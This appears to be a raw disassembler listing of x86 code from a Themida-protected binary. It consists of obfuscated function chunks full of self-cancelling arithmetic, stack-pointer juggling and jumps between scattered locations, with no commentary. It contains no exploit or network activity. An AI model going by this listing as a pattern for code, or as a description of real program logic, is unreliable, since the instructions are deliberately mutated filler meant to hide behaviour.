; ---------------------------------------------------------------------------
loc_5A2EDD: ; CODE XREF: Themida_:005A063Cj
neg edx
or edx, 7304BE8h
jmp loc_59625D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_5A2EEA: ; CODE XREF: sub_5A4CDD+16j
push ecx
jmp loc_59CDA0
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2EF0: ; CODE XREF: sub_59390B+C636j
shl esi, 1
shr esi, 2
push edi
mov edi, 0FDAB1018h
add esi, edi
pop edi
sub esp, 4
mov [esp+0], esi
jmp loc_599C3B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594C24
loc_5A2F09: ; CODE XREF: sub_594C24+AC6Cj
pop esp
shr eax, 18h
xor eax, ecx
push 3B3Ch
mov [esp+4+var_4], eax
push edx
push [esp+8+var_4]
push [esp+0Ch+var_C]
jmp loc_5931E1
; END OF FUNCTION CHUNK FOR sub_594C24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2F24: ; CODE XREF: sub_59390B+40Aj
mov esp, [esp-1Eh+arg_14+2]
push ebx
push esp
jmp loc_599AF5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E1C
loc_5A2F2E: ; CODE XREF: sub_592E1C-A58j
pop ebp
push 7F21h
mov [esp+8+var_8], esi
push 5DBDh
mov [esp+0Ch+var_C], ebp
push edx
mov edx, 4855624Fh
mov ebp, edx
mov edx, [esp+10h+var_10]
add esp, 4
mov esi, 0B7AA9DB3h
sub esi, 5BD82E43h
add esi, ebp
add esi, 5BD82E43h
jmp loc_5A58F9
; END OF FUNCTION CHUNK FOR sub_592E1C
; ---------------------------------------------------------------------------
loc_5A2F68: ; CODE XREF: Themida_:005997D6j
mov esi, 13DF0670h
mov ebp, esi
mov esi, [esp]
add esp, 4
push 20D1h
mov [esp], esi
push 634144F0h
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5A1DC3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_597C8E
loc_5A2F8E: ; CODE XREF: sub_597C8E-5C92j
pop edx
sub esp, 4
jmp loc_59D122
; END OF FUNCTION CHUNK FOR sub_597C8E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5A2F9A: ; CODE XREF: sub_59A431+8450j
push [esp+8+var_4]
jmp loc_5932CC
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_5A2FA3: ; CODE XREF: sub_591FC5+98ECj
mov [esp+8+var_8], edx
mov dh, cl
push ecx
mov cl, dh
jmp loc_596E98
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2FB0: ; CODE XREF: sub_59390B-2B43j
add edi, 4
xchg edi, [esp+0]
pop esp
push eax
jmp loc_5A3D8B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A2FC0: ; CODE XREF: Themida_:005A2DBAj
pop eax
add bl, 4Ch
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_59A642
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A21DE
loc_5A2FD0: ; CODE XREF: sub_5A21DE-51C1j
mov ebp, ebx
mov ebx, [esp+4+var_4]
add esp, 4
and eax, ebp
jmp loc_5A15D4
; END OF FUNCTION CHUNK FOR sub_5A21DE
; ---------------------------------------------------------------------------
loc_5A2FDF: ; CODE XREF: Themida_:0059EC77j
add eax, 4
jmp loc_59B7DD
; =============== S U B R O U T I N E =======================================
sub_5A2FE9 proc near ; CODE XREF: sub_59A1A3+4j
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00591898 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005926D0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592863 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005932A7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00595B7B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596055 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059775D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00599148 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059945D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059ACDE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C589 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059EF98 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1D32 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5163 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A599F SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], esi
push esp
mov esi, [esp+8+var_8]
push ebp
push esp
jmp loc_59C589
sub_5A2FE9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5A2FFD: ; CODE XREF: sub_59A431+48Cj
pop ebp
jmp loc_59DC0C
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_5A3003: ; CODE XREF: Themida_:005A30BFj
sub eax, esi
jmp loc_59604E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_5A300A: ; CODE XREF: sub_591FC5+1F3j
pop edx
or cl, bl
pop ebx
jmp loc_5A2482
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_5A3013: ; CODE XREF: Themida_:0059554Dj
push eax
mov eax, 4A4B5199h
add edx, eax
pop eax
sub esi, 375F06A3h
jmp loc_5948B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3027: ; CODE XREF: sub_59390B+3D32j
mov si, dx
jmp loc_59A19D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A302F: ; CODE XREF: Themida_:00598384j
xor esi, 2ED21336h
xor esi, 912E78EDh
add edx, esi
pop esi
jmp loc_5A56EE
; ---------------------------------------------------------------------------
loc_5A3043: ; CODE XREF: Themida_:0059B1FEj
add dh, 0F5h
sub al, dh
pop edx
jmp loc_5A2110
; ---------------------------------------------------------------------------
loc_5A304E: ; CODE XREF: Themida_:005A247Dj
xor dword ptr [eax], 2594285Bh
jmp loc_594F01
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3059: ; CODE XREF: sub_59390B+72D1j
pop edx
sub eax, 4
jmp loc_59FD1C
; ---------------------------------------------------------------------------
loc_5A3062: ; CODE XREF: sub_59390B+5C1Cj
pop esi
add esi, 1
add esi, 4174233Ah
push ebx
push edx
mov edx, 1E923509h
mov ebx, edx
pop edx
sub ebx, 24F271F6h
xor ebx, 52963E6Ah
not ebx
sub esp, 4
mov [esp+0], ebp
jmp loc_595F6D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A308F: ; CODE XREF: Themida_:0059B62Ej
mov [esp], esi
push dword ptr [esp+4]
push dword ptr [esp]
pop esi
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
push 3FBh
mov [esp], ebx
push ebx
mov ebx, esp
jmp loc_592D0B
; ---------------------------------------------------------------------------
loc_5A30BA: ; CODE XREF: Themida_:00597D18j
mov eax, 0
jmp loc_5A3003
; ---------------------------------------------------------------------------
loc_5A30C4: ; CODE XREF: Themida_:005976B5j
push edx
mov dh, 0Ch
sub dh, 0C1h
jmp loc_59BEB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A30CF: ; CODE XREF: sub_59390B+5Aj
add edi, 0FFC7AF75h
mov edx, edi
pop edi
add edi, edx
jmp loc_595191
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A30DF: ; CODE XREF: Themida_:0059E3D8j
push esi
mov esi, esp
add esi, 4
add esi, 2
xchg esi, [esp]
pop esp
jmp loc_594325
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_5A30F7: ; CODE XREF: sub_59A75E-91E6j
sub ecx, 4600F31h
sub ecx, ebp
push edi
mov edi, 54EC5F64h
sub edi, 508C5033h
jmp loc_596B15
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3110: ; CODE XREF: sub_59390B+7C16j
xor [esp-10h+arg_8], ecx
xor ecx, [esp-10h+arg_8]
pop esp
jmp loc_59C1AB
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A311C: ; CODE XREF: Themida_:0059C951j
add ebx, 153B7BDAh
jmp loc_59C01C
; ---------------------------------------------------------------------------
loc_5A3127: ; CODE XREF: Themida_:005A4BCDj
mov [esp], cx
jmp loc_59B1EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5A3130: ; CODE XREF: sub_595BAD+14j
add [esp+8+var_4], eax
pop eax
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp+0]
jmp loc_5A1215
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5A314A: ; CODE XREF: sub_59FCCB+4A57j
mov [esp+6+var_8+2], eax
sub esp, 4
jmp loc_5954A1
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3155: ; CODE XREF: sub_59390B+92D8j
add edi, 4
xor edi, [esp-10h+arg_8]
xor [esp-10h+arg_8], edi
jmp loc_5A54B8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3163: ; CODE XREF: Themida_:005A0130j
pop edx
mov edx, ebp
pop ebp
xor eax, edx
mov edx, [esp]
add esp, 4
push edi
jmp loc_597EF5
; ---------------------------------------------------------------------------
loc_5A3175: ; CODE XREF: Themida_:005A5182j
pop ebp
push edx
mov edx, 74A82DD4h
add ecx, edx
jmp loc_5923E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3183: ; CODE XREF: sub_59390B+D77Bj
mov dh, ah
mov ch, dh
mov edx, [esp-18h+arg_10]
push esi
mov esi, esp
add esi, 4
jmp sub_5A0060
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3198: ; CODE XREF: Themida_:005A4F8Fj
mov al, 0C5h
sub bh, al
jmp loc_5A1580
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A31A1: ; CODE XREF: sub_59390B+489Dj
push edi
push edx
mov edx, 29E3321Bh
xchg ebp, edx
neg ebp
xchg ebp, edx
not edx
sub esp, 4
jmp loc_594BAA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A31BB: ; CODE XREF: Themida_:005A0A45j
pop esp
mov [esp], esp
jmp loc_595FE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3536
loc_5A31C4: ; CODE XREF: sub_5A3536-D9E3j
sub edi, ebp
add edi, 44A46F5h
pop ebp
sub ebx, edi
mov edi, [esp+0Ch+var_C]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5966C2
; END OF FUNCTION CHUNK FOR sub_5A3536
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A31E0: ; CODE XREF: sub_59CAFB+1D1Dj
push [esp+4+var_4]
mov ebp, [esp+8+var_8]
jmp loc_59322D
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A31EB: ; CODE XREF: sub_59390B+7C03j
add ebp, 4
add ebp, 4
xor ebp, [esp-0Ch+arg_4]
xor [esp-0Ch+arg_4], ebp
xor ebp, [esp-0Ch+arg_4]
pop esp
pop [esp-10h+arg_8]
pop esp
bt [esp-18h+arg_10], eax
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A320F: ; CODE XREF: Themida_:0059DD9Aj
mov esi, edi
pop edi
sub ebx, 5DF30F77h
add ebx, esi
add ebx, 5DF30F77h
pop esi
jmp loc_59B3FF
; ---------------------------------------------------------------------------
loc_5A3226: ; CODE XREF: Themida_:00592F7Bj
xchg edx, [esp]
pop esp
add dword ptr [esp+4], 48000306h
add [esp+4], edx
push ebx
mov ebx, 164A26FEh
neg ebx
inc ebx
and ebx, 1518730Eh
shl ebx, 8
sub ebx, 0C850FEFAh
add dword ptr [esp+8], 13097CEAh
sub [esp+8], ebx
jmp loc_5967E8
; ---------------------------------------------------------------------------
loc_5A325F: ; CODE XREF: Themida_:00598699j
pop eax
push 0
sub [esp], ebp
mov ebp, [esp]
add esp, 4
shl ebp, 1
xor ebp, 0D64BC71Fh
push ecx
mov ecx, 13FF74C4h
sub eax, ecx
mov ecx, [esp]
jmp loc_5A0FFF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59605F
loc_5A3286: ; CODE XREF: sub_59605F+3j
push edi
mov edi, 11045E2Fh
inc edi
jmp loc_59C80F
; END OF FUNCTION CHUNK FOR sub_59605F
; ---------------------------------------------------------------------------
loc_5A3292: ; CODE XREF: Themida_:005A0974j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
sub esp, 4
mov [esp], edx
mov edx, 4
sub ebx, 2DAF18C6h
add ebx, edx
add ebx, 2DAF18C6h
mov edx, [esp]
push edx
push esp
pop edx
push ebx
mov ebx, 25D479C2h
sub ebx, 25D479BEh
add edx, ebx
pop ebx
jmp loc_5A01AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_5A32D5: ; CODE XREF: sub_594A8D+684Cj
xor edi, ebp
jmp loc_5A376D
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A32DC: ; CODE XREF: sub_59390B+94E4j
pop ecx
push eax
push 23B3h
jmp loc_59834C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A32E8: ; CODE XREF: Themida_:005A207Cj
add ecx, 0FFFFFFFFh
shl ecx, 5
push edx
jmp loc_59E805
; ---------------------------------------------------------------------------
loc_5A32F4: ; CODE XREF: Themida_:0059660Aj
sub ecx, edi
add ecx, 320427D4h
pop edi
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_5991C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3308: ; CODE XREF: sub_59390B+AC6Dj
add edx, 4
jmp loc_59C521
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3313: ; CODE XREF: Themida_:00594DA3j
add cl, 0FBh
shr cl, 3
xor cl, 0F8h
add dl, cl
pop ecx
neg dl
jmp loc_5927A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_5A3326: ; CODE XREF: sub_59918B-27C0j
add edx, 4
add edx, 4
jmp loc_5969F7
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5A3337: ; CODE XREF: sub_59FCCB+272Bj
add bl, al
jmp loc_59DEE1
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E716
loc_5A333E: ; CODE XREF: sub_59E716-2A09j
xchg ecx, [esp+0Ch+var_C]
jmp loc_594390
; END OF FUNCTION CHUNK FOR sub_59E716
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598BAA
loc_5A3346: ; CODE XREF: sub_598BAA-2952j
xor ebp, [esp-4+arg_0]
jmp loc_59FFDE
; END OF FUNCTION CHUNK FOR sub_598BAA
; ---------------------------------------------------------------------------
loc_5A334E: ; CODE XREF: Themida_:00598063j
mov esi, [esp]
jmp loc_598C28
; ---------------------------------------------------------------------------
push 65AAh
mov [esp], ebx
push 0FFFFFBFFh
push dword ptr [esp]
push dword ptr [esp]
jmp loc_599DE0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5A336E: ; CODE XREF: sub_59FCCB-603Aj
mov ah, dh
mov cl, ah
pop eax
pop edx
jmp loc_59D0F8
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3379: ; CODE XREF: sub_59390B+E9D5j
mov [esp+10h+var_10], ecx
mov ecx, esp
jmp loc_596381
; ---------------------------------------------------------------------------
loc_5A3383: ; CODE XREF: sub_59390B+A032j
pop esp
push 5F2Bh
jmp loc_596346
; ---------------------------------------------------------------------------
loc_5A338E: ; CODE XREF: sub_59390B+8CBFj
push esi
mov esi, 62766F83h
jmp loc_59B9DD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3399: ; CODE XREF: Themida_:005A4EACj
mov edx, 4
add edi, 5A630F88h
add edi, 28B444E8h
sub edi, edx
jmp loc_5998C3
; ---------------------------------------------------------------------------
loc_5A33B1: ; CODE XREF: Themida_:00597D11j
push edx
mov edx, 0AE14153h
dec edx
jmp loc_59C0C2
; ---------------------------------------------------------------------------
loc_5A33BD: ; CODE XREF: Themida_:0059E46Ej
mov [esp], ecx
jmp loc_594987
; ---------------------------------------------------------------------------
loc_5A33C5: ; CODE XREF: Themida_:00596D2Dj
xor edx, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5A33D4: ; CODE XREF: Themida_:0059DA7Fj
mov ebp, [esp]
add esp, 4
jmp loc_59C102
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_599DC1
; ---------------------------------------------------------------------------
loc_5A33F4: ; CODE XREF: Themida_:005A2B58j
mov ebx, [esp]
add esp, 4
sub edx, edi
pop edi
xchg edx, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_59468C
; ---------------------------------------------------------------------------
loc_5A340E: ; CODE XREF: Themida_:005A27B4j
push ebp
push esi
mov esi, 7DC2777Ah
add esi, 1B3E4DEBh
push eax
mov eax, 0A14676Dh
sub eax, 0FC7C3764h
jmp loc_59124F
; ---------------------------------------------------------------------------
loc_5A342B: ; CODE XREF: Themida_:00597F13j
shl edi, 2
add edi, 13D717Ch
push ecx
mov ecx, 0BD067EBFh
sub edi, ecx
pop ecx
jmp loc_59EF16
; ---------------------------------------------------------------------------
loc_5A3442: ; DATA XREF: Themida_:00590808o
mov cx, [esp]
jmp loc_59B08B
; ---------------------------------------------------------------------------
loc_5A344B: ; CODE XREF: Themida_:005A38D7j
add ebx, 4
push 6A8Ch
jmp loc_5A4D76
; ---------------------------------------------------------------------------
loc_5A345B: ; CODE XREF: Themida_:00591F08j
mov [esp], ebx
push dword ptr [esp+4]
push dword ptr [esp]
push dword ptr [esp]
pop ebx
add esp, 4
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push 2588h
mov [esp], ebp
jmp loc_5A0A30
; ---------------------------------------------------------------------------
loc_5A3488: ; CODE XREF: Themida_:00597430j
push ebp
mov ebp, esp
add ebp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_59884D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2801
loc_5A34A9: ; CODE XREF: sub_5A2801+AAj
mov [esp+0Ch+var_C], edi
mov edi, 4
add ebx, edi
push [esp+0Ch+var_C]
pop edi
add esp, 4
sub ebx, 4
xchg ebx, [esp+8+var_8]
jmp loc_5A4E42
; END OF FUNCTION CHUNK FOR sub_5A2801
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_5A34C5: ; CODE XREF: sub_59886E+5DAAj
mov eax, 0C6A2172Fh
sub ebx, eax
pop eax
jmp loc_5A08D0
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5950DF
loc_5A34D2: ; CODE XREF: sub_5950DF+302Cj
push eax
neg [esp+4+var_4]
pop eax
push ebx
mov ebx, 742C4779h
add eax, ebx
jmp loc_59D9D0
; END OF FUNCTION CHUNK FOR sub_5950DF
; ---------------------------------------------------------------------------
loc_5A34E4: ; CODE XREF: Themida_:005A533Ej
or eax, 46CB11BFh
jmp loc_59E1EB
; ---------------------------------------------------------------------------
loc_5A34EE: ; CODE XREF: Themida_:005A4D71j
mov esp, [esp]
jmp loc_59CD98
; ---------------------------------------------------------------------------
loc_5A34F6: ; CODE XREF: Themida_:005915A5j
add edi, 322E11FBh
add edi, ebx
sub edi, 322E11FBh
sub edi, 0A5524DEh
jmp loc_594B52
; ---------------------------------------------------------------------------
loc_5A350F: ; CODE XREF: Themida_:0059875Dj
sub dword ptr [esp+4], 204C0105h
sub dword ptr [esp+4], 0EF60AFAh
jmp loc_599B83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_5A3524: ; CODE XREF: sub_5964AF+301Dj
xor edx, esi
jmp loc_5A489A
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A352B: ; CODE XREF: sub_59390B+5D11j
sub edi, 7B866EE4h
jmp loc_5910EA
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_5A3536 proc near ; DATA XREF: Themida_:00590A14o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 005912C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005949C9 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 00595B3E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005966C2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00597B04 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059902E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A07DC SIZE 00000050 BYTES
; FUNCTION CHUNK AT 005A1B54 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A31C4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A4DC3 SIZE 00000012 BYTES
mov ax, [esp+0]
push edx
jmp loc_59902E
sub_5A3536 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A113A
loc_5A3540: ; CODE XREF: sub_5A113A-6FD9j
add esi, 4
jmp loc_59C129
; END OF FUNCTION CHUNK FOR sub_5A113A
; ---------------------------------------------------------------------------
byte_5A354B db 66h ; DATA XREF: Themida_:005909C8o
dd 68240C8Bh, 7A06h, 68241C89h, 5C4Dh, 0FFD472E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5A3561: ; CODE XREF: Themida_:00595D78j
shl edi, 3
jmp loc_59A8DE
; ---------------------------------------------------------------------------
loc_5A3569: ; CODE XREF: Themida_:0059A8A7j
mov eax, 4
jmp loc_596AFD
; ---------------------------------------------------------------------------
loc_5A3573: ; CODE XREF: Themida_:00592F8Ej
push eax
mov ah, 0DEh
push bx
mov bh, 0FFh
jmp loc_5A4BDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BDF
loc_5A357F: ; CODE XREF: sub_590BDF+3891j
pop esi
sub ebx, 0E774503h
add ebx, 587802F8h
inc ebx
neg ebx
add ebx, 687BE199h
add edx, ebx
jmp loc_59B02C
; END OF FUNCTION CHUNK FOR sub_590BDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5A359C: ; CODE XREF: sub_59CFD4+786j
xor ebx, [esp+10h+var_10]
pop esp
pop ecx
and eax, ebp
push [esp+8+var_8]
jmp loc_599BED
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A35AB: ; CODE XREF: sub_59390B+101A1j
sub edx, 4
xchg edx, [esp-12h+arg_8+2]
jmp loc_5981F5
; ---------------------------------------------------------------------------
loc_5A35B9: ; CODE XREF: sub_59390B-2147j
shl edx, 2
shr edx, 3
sub esp, 4
mov [esp+0], ebp
mov ebp, 80A11Ch
sub edx, ebp
pop ebp
jmp loc_5974FE
; ---------------------------------------------------------------------------
loc_5A35D2: ; CODE XREF: sub_59390B+2892j
mov [esp-1Eh+arg_14+2], edi
mov edi, esp
push ebx
mov ebx, 7B610222h
push esi
jmp loc_5A3B1B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F4E7
loc_5A35E3: ; CODE XREF: sub_59F4E7+48CEj
mov [esp-0Ch+arg_8], ecx
push dword ptr [esp+4]
mov ecx, [esp-8+arg_4]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_59B481
; END OF FUNCTION CHUNK FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BDF
loc_5A35FB: ; CODE XREF: sub_590BDF+5B45j
push edx
mov edx, esp
add edx, 4
push edi
mov edi, 784B563Ah
neg edi
shl edi, 3
dec edi
shl edi, 6
sub edi, 69538BBCh
sub edx, edi
jmp loc_5A3FA7
; END OF FUNCTION CHUNK FOR sub_590BDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3620: ; CODE XREF: sub_59390B+10DC0j
mov dh, cl
xchg ch, dh
not ch
xchg ch, dh
mov cl, dh
pop dx
push bx
mov bl, 0BEh
sub cl, bl
pop bx
push ebx
mov bl, 9
jmp loc_59353F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A363C: ; CODE XREF: Themida_:00595F07j
mov [esp], edx
mov edx, esp
add edx, 4
push eax
mov eax, 4
add edx, eax
pop eax
xchg edx, [esp]
jmp loc_599F29
; ---------------------------------------------------------------------------
loc_5A3658: ; CODE XREF: Themida_:00596CCAj
inc ecx
add ecx, 0FB591781h
add ebp, ecx
pop ecx
push ebp
push eax
push esi
jmp loc_59D0D8
; ---------------------------------------------------------------------------
loc_5A366A: ; DATA XREF: Themida_:00590980o
push dword ptr [esp]
pop ecx
push 7347h
mov [esp], ebp
jmp loc_5A4013
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F121
loc_5A367B: ; CODE XREF: sub_59F121-A460j
sub esi, ebx
pop ebx
mov ebp, esi
mov esi, [esp+0]
add esp, 4
push edx
mov edx, 3BFE7284h
xor ebp, edx
pop edx
push edi
mov edi, 74E35925h
or ebp, edi
pop edi
dec ebp
sub esp, 4
mov [esp+0], eax
mov eax, 2FD200B6h
and ebp, eax
mov eax, [esp+0]
add esp, 4
push edx
mov edx, 2129089Ch
push edx
dec [esp+4+var_4]
pop edx
not edx
jmp sub_59A431
; END OF FUNCTION CHUNK FOR sub_59F121
; ---------------------------------------------------------------------------
loc_5A36C4: ; CODE XREF: Themida_:00591E18j
dec ebx
jmp loc_591BC4
; ---------------------------------------------------------------------------
loc_5A36CA: ; CODE XREF: Themida_:005A3CF4j
mov [esp], edx
push ebx
mov bh, 2Dh
shr bh, 3
dec bh
add bh, 0BBh
mov dl, bh
pop ebx
inc dl
or dl, 61h
jmp loc_59CDBD
; ---------------------------------------------------------------------------
loc_5A36E5: ; CODE XREF: Themida_:00590B40j
pop edx
jmp loc_5A5A60
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A36EB: ; CODE XREF: sub_59390B+11353j
sub edi, 106B04E5h
pop edx
sub esp, 4
jmp loc_5A0D29
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A36FD: ; CODE XREF: Themida_:0059B7D1j
push ecx
push 4
pop ecx
add ebp, ecx
jmp loc_594581
; ---------------------------------------------------------------------------
loc_5A370B: ; CODE XREF: Themida_:0059B806j
mov [esp], ecx
mov ecx, 0FFFFFFFFh
add edi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_59E9CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A3720: ; CODE XREF: sub_59390B+509j
and edi, 27106EFFh
dec edi
sub edi, 0DEF71CC9h
xor ecx, edi
pop edi
push ebp
mov ebp, ecx
jmp loc_59B788
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_5A3738: ; CODE XREF: sub_5936EC+24B2j
add ebx, 67236F13h
sub ebx, 66936A62h
sub ebx, ebp
add ebx, 66936A62h
sub ebx, 67236F13h
pop ebp
jmp loc_5A55AC
